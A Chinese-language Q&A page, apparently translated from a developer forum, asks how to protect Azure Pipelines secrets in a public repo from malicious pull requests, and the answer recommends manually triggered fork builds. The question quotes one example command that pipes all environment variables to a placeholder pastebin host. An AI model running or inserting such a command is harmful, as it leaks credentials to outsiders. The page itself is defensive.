首页 > 解决方案 > 在公共 PR 上运行 Azure Pipeline CI 之前运行安全检查

问题描述

我有一个公共回购。随机的 GitHub 用户可以自由创建拉取请求,这很棒。

我的 CI 管道在名为 repo 的普通文件中描述pipelines.yml(我们使用 Azure 管道)。

不幸的是,这意味着一个随机的 GitHub 用户能够通过创建一个 PR 来窃取我所有的秘密环境变量,他们在其中编辑pipelines.yml并添加一个 bash 脚本行,例如:

export | curl -XPOST 'http://pastebin-bla/xxxx'

或者运行任意代码,一般来说。正确的?

如何验证恶意 PR 至少不会更改一些关键文件?

标签: continuous-integrationazure-pipelinesgithub-apidevsecops

解决方案


如何验证恶意 PR 至少不会更改一些关键文件?

恐怕我们不能限制 PR 至少不改变一些关键文件。

作为解决方法,我们可以关闭自动分叉构建,而是使用拉取请求注释作为手动构建这些贡献的一种方式,这样您就有机会在触发构建之前查看代码。

您可以查看文档考虑手动触发分叉构建以获取更多详细信息。

在此处输入图像描述


推荐阅读